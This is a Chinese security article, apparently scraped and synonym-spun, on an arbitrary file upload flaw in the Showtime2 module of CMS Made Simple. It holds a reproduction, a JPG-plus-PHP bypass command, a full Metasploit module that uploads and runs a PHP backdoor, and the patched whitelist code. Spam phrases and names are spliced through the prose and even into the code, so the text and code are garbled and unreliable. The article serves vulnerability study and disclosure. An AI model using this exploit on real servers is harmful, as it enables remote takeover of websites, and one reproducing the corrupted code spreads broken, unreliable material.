首页 欧洲联赛正文

取名网,一个恣意文件上传缝隙的复现、剖析、使用与防护主张,大明王朝

皇七子永琮

*本文中触及取名网,一个任意文件上传缝隙的复现、分析、运用与防护主张,大明王朝到的相关缝隙已报送厂商并得到修正,本文仅限技术研究与评论,制止用于不合法用处,不然发生的悉数成果自贝丽岛行承当

前语

CMS Made Simple(CMSMS)是一个简略、快捷且易用的内容管理体系。前面一篇文章,咱们叙述了关于其间一个依据时刻的SQL注入缝隙的复现、分析及运用进程。本文详细评论CMSMS中的另一个缝隙,也是Web安全中较为常见的一种缝隙类型。ShowTime2是CMSMS中比较常用的模块,首要用于上传水印图片。该模块在3.6.2及腹黑少爷卖萌控之前易友通物流单号查询的版别中,存在一个任意文件上传缝隙,无法保证用户上传的水印文件具有规范的图像文件扩展名(gif、jpg、jpeg或png),因而攻击者能够运用该缝隙上传任意文件而且长途履行任意代码。

一 试验环境

1.浸透主机:kali-linux-2018.3-vm-i386

2.方针主机:Debian9.6 x64

3.软件版别:CMS Made Simple 2.2.8

4.插件版别:Showtime2-3.6.0

1.浸透主机:kali-linux-2018.3-vm-i386

2.方针主机:Debian9.6 x64

3.软件版别:CMS Made Simple 2.2.8

4.插件版别:Showtime2-3.6.0

1.BurpSuite v1.7.36

2.Metasploit v4.17.3

3.Mozilla Firefox 60.6.2

1.BurpSuite v1.7.36

2.Metasploit v4.17.3

3.Mozilla 渐组词Firefox 60.6.2

1.在showtime2模块中上传一张名为Hacker.jpg的水印图片,显现上传成功,成果如下:

2.测验上传一个名为test123.php文件,页面中有告警信息,显现服务器未成功获取到图片的尺度信息,此刻上传成功与否无法确认,告警信息如下图所示:

3.经过如下url:

验证php文件是否上传成功,假如上传未成功,应当是如下图所示的内容:

4.从下图能够看出,尽管之前有告警信息,可是文件test浅笑28猜测123.php仍旧上传成功(看冷孟梅来是我想多了,服务端获取图片尺度的代码,只是用来获取图片尺度了):

5.登录到方针服务器上检查,在如下途径中存在方才上传的test123.php,如下图所示:

由此咱们能够确认,在showtime2模块中存在任意文件上传缝隙。

在有些Web运用中上传图片时,或许会经过获取图片尺度的办法来避免任意文件的上传,这种办法能够被绕过。在浸透主机中运用如下指令:

root@kali:~/Desktop#cat Hacker.jpg test123.php > Hacker123.php

将Hacker.jpg与test123.php拼接起来,然后再上传到showtime2模块,能够看到php文件上传成功,cmsms无告警,这样便成功绕过了图片尺度检测,成果如下图所示:

四 缝隙分析

经过分析源代码,咱们找到了任意文件上传缝隙的发生点,有关的问题源码如下图所示:

class showtime2_image{ protected function __construct {} public static function watermark_image($source_image, $dest_image, $create_bak=true){ $gC李久衍ms = cmsms; $config = $gCms->GetConfig; $mod = cms_utils::get_module('Showtime2'); if ($mod->GetPreference('watermark_bak')=='1' && $create_bak){ /* $fname = str_replace(substr($source_image, strrpos取名网,一个任意文件上传缝隙的复现、分析、运用与防护主张,大明王朝($source_image, '.')), "", $source_image); $fext = substr($source_image, strrpos($source_image, '.')); $fname = $fname.'_bak'.$fext; */ copy($source_image,$source_image.'.bak'); } $watermark_file = $mod->GetPreference('watermark_file'); if ($watermark_file=='watermark.png'){ $watermark_file = $config['root_path'].'/modules/Showtime2/images/watermark.png'; }else{ $watermark_file = $config['image_uploads_path'].'/'.$watermark_file; } if (!file_exists($watermark_file)) return false;

从上述源码中能够看出,在履行完copy函数之后,就直接指定了watermark_file的存储途径,这儿没有对上传的文件做任何的校验和过滤,然后导致了任意文件上传缝隙的发生,这是极端风险的编码行为。

五 缝隙运用

1.缝隙运用模块cmsms_showtime2_upload.rb的榜首部分,界说浸透模块的基本信息,详细代码如下:

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient def initialize(info 友妻= {}) super(update_info(info, 'Name' => "CMS Made Simple Showtime2 File Upload Exploit", 'Deion' => %q( This module exploits a File Upload vulnerability of Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS). An authenticated user who ha24开s "Use Showtime2" privilege could exploit the vulnerability. ), 'License' => MSF_LICENSE, 'Author' => ['Neroqi'], 'Platform' => ['php'], 'Targets' => [ ['Automatic', {}] ], 'DisclosureDate' => "August 11 2019", 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [true, "Username for login", '']), OptString.new('PASSWORD', [true, "Password for login", '']), OptString.new('TARGETURI', [true, "CMSMS directory path", '/']) ],self.class ) end

1.1句子require ‘msf/core’声明该程序要引进metasploit中所有的中心库文件;

1.2initialize办法初始化了模块中的基本参数,例如称号、描绘、作者、答应信息以及运用渠道等参数;

1.3register_options界说了模块中要运用的自界说选项,包括USERNAME、PASSWORD以及TARGETURI。

1.1句子require ‘msf/core’声明该程序要引进metasploit中所有的中心库文件;

1.2initialize办法初始化了模块中的基本参数,例如称号、描绘、作者、答应信息以及运用渠道等参数;

1.3register_options界说了模块中要运用的自界说选项,包括USERNAME、PASSWORD以及TARGETURI。

2.缝隙运用模块cmsms_showtime2_upload.rb取名网,一个任意文件上传缝隙的复现、分析、运用与防护主张,大明王朝的第二部分用于登录cmsms,依据抓包数据来设李左飞置http的办法、URI以及散列vars_post的键值,BurpSuite的抓包内容如下:

详细代码如下:

def login_cmsms response = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'), 'vars_post' => { 'username' => da少女壁纸tastore['username'], 'password' => datastore['password'], 'loginsubmit' => 'Submit' } ) unless res邱心志和王艺璇离婚ponse fail_with(Failure::Unreachable, 'Connection failed') end if response.code == 302 @location_name = response.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-2].to_s @location_value = response.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-1].to_s @cookies = response.get_cookies return end fail_with(Failure::NoAccess, 'Login failed') end

其间下列两条句子运用正则表达式提取出了Location字段的值,用于后续上传payload时结构post数据包:

@location_name = response.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-2].to_s @location_value = response.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatt干母女en[-1].to_s

3.缝隙运用模块cmsms_showtime2_upload.rb的第三部分用于上传后门payload,依据抓包数据来设置post数据包的URI、form-data,重点是上传文件的文件名和文件内容,BurpSuite的抓包内容如下:

详细代码如下:

def upload_payload(file_name, file_content) postdata = Rex::MIME::Message.new postdata.add_part('Showtime2,m1_,韩国大妈defaultadmin,0', nil, nil, "form-data; name=\"mact\"") postdata.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"") postdata.a墨文重剑dd_part(@location_value, nil, nil, "form-data; name=\"#{@location_name}\"") postdata.add_part(file_content, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{file_name}\"") response = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'), 'ctype' => "multipart/form-data; boundary=#{postdata.bound}", 'data' => postdata.to_s, 'headers' => { 'Cookie' => @cookies } ) unless response fail_with(Failure::Unreachable, 'Connection failed') end if response.code == 200 && (response.body =~ /#{Regexp.escape(file_name)}/i || response.body =~ /id="showoverview"/i) return end print_warning('No confidence in PHP payload success or failure') end

4.缝隙运用模块cmsms_showtime2_upload.rb的第四部分,检测方针体系中的showtime2模块是否能够浸透运用,详细代码如下:

def check response = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'modules', 'Showtime2', 'moduleinfo.ini') ) unless response vprint_error 'Connection failed' return CheckCode::Unknown end if response.code == 200 module_version = Gem::Version.new(response.body.scan(/^version = 我的艳遇"?(\d\.\d\.\d)"?/).flatten.first) if module_version < Gem::Version.new('3.6.3') # Showtime2 module is uploaded and present on "Module Manager" section but it could be NOT installed. vprint_status("Showtime2 version: #{module_version}") return Exploit::CheckCode::Appears end end return Exploit::CheckCode::Safe end

5.缝隙运用模块cmsms_showtime2_upload.rb的第五部分,首要经过unless句子判别方针是否能够被浸透,然后初始化三个实例变量location_name、location_value和cookies,界说变量file_name和file_content而且赋值,接着调用函数login_cmsms和upload_payload,最终经过get办法运转后门文件,详细代码如下:

def exploit unless Exploit::CheckCode::Appears == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end @location_name = nil @location_value = nil @cookies = nil login_cmsms file_name = "#{rand_text_alph姜永晛anumeric(1..6)}.php" file_content = "" print_status('Uploading PHP payload.') upload_payload(file_name, file_content) print_status("Requesting '/#{file_name}' to execute payload.") send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'uploads', 'images', file_name) }, 15 ) end

6.在metasploit操控台中运用浸透模块cmsms_showtime2_upload.rb,该模块的参数如下图所示,其间参数PASSWORD、RHOST、RPORT、TARGETURI以及USERNAME为必需要装备的参数,RPORT能够依据需要修正,因为Web服务器对外服务的端口纷歧定是80,或许是8000、8080、8090等其他端口:

7.在metasploit操控台中参数值,详细指令如下:

msf > use exploit/webapp/cmsms_showtime2_upload msf exploit(webapp/cmsms_showtime2_upload) > set RHOST 192.168.188.155 RHOST => 192.168.188.155 msf exploit(webapp/cmsms_showtime2_upload) > set USERNAME test USERNAME =&孟学龙gt; test msf exploit(webapp/cmsms_showtime2_upload) > set PASSWORD test@123 PASSWORD => test@123 msf exploit(webapp/cmsms_showtime2_upload) > set TARGETURI /cmsms/ TarGETURI => /cmsms/ msf exploit(webapp/cmsms_showtime2_upload) > run

8.稍等一瞬间,浸透主机便成功与cmsms服务器建立起meterpreter会话,也就取得了方针服务器的操控权,如下图所示:

六 缝隙修正

针对版别号小于等于3.6.2的模块中存在的任意文件上传缝隙,主张及时将ShowTime2模块更新到3.6.3版别。在3.6.3版别中,问题代码得到了修正,修正后的代码如下:

class showtime2_image{ protected function __construct {} public static function watermark_image($source_image, $dest_image, $create_bak=true){ $gCms = cmsms; $config = $gCms->GetConfig; $mod = cms_utils::get_module('Showtime2'); if ($mod->GetPreference('watermark_bak')=='1' && $create_bak){ /* $fname = str_replace(substr($source_image, strrpos($source_image, '.')), "", $source_image); $fext = substr($source_image, strrpos($source_image, '.')); $fname = $fname.'_bak'.$fext; */ copy($source_image,$source_image.'.bak'); } $watermark_file = $mod->GetPreference('watermark_file'); if ($watermark_file=='watermark.png'){ $watermark_file = $config['root_path'].'/modules/Showtime2/images/watermark.png'; }else{ $watermark_file = $config['image_uploads_path'].'/'.$watermark_file; } $fext = strtou取名网,一个任意文件上传缝隙的复现、分析、运用与防护主张,大明王朝pper(substr($watermark_file, strrpos($watermark_file, '.'))); if (!in_array($fext,array('.GIF','.JPG','.JPEG','.PNG')取名网,一个任意文件上传缝隙的复现、分析、运用与防护主张,大明王朝)) unlink($watermark_file); if (!file_exists($watermark_file)) return false;

修取名网,一个任意文件上传缝隙的复现、分析、运用与防护主张,大明王朝复后的代码经过如下句子,提取出了用户上传的文件的后缀名,包括”.”符号,而且将后缀名悉数转化成了大写字母:

$fext = strtoupper(substr($watermark_file, strrpos($watermark_file, '.')));

然后经过if句子运用白名单进行条件判别,假如后缀名不是白名单数组中的某一个元素,那么就运用unlink函数删去该文件,这样便成功修正了该任意文件上传缝隙,句子如下:

if (!in_array($fext,array('.GIF','.JPG','.JPEG','.PNG'))) unlink($watermark_file); 总结:

针对只允许一种类型的文件上传,比方本文中的图片上传,主张运用白名单的办法进行过滤,不主张运用黑名单。因为上传文件格局的不行猜测性以及黑名单约束的扩展名很难掩盖全面等要素,导致了或许会有漏网之鱼。别的结合PHP的特性,能够经过比方“test123.php%00.jpg”的办法来切断文件名,取名网,一个任意文件上传缝隙的复现、分析、运用与防护主张,大明王朝然后绕过黑名单的约束。综上,主张运用白名单的办法来做减法,不在白名单中的文件类型,一致认为是不合法文件,一概删去。

*本文原创作者:Neroqi,本文属FreeBuf原创奖赏方案,未经答应制止转载

版权声明

本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。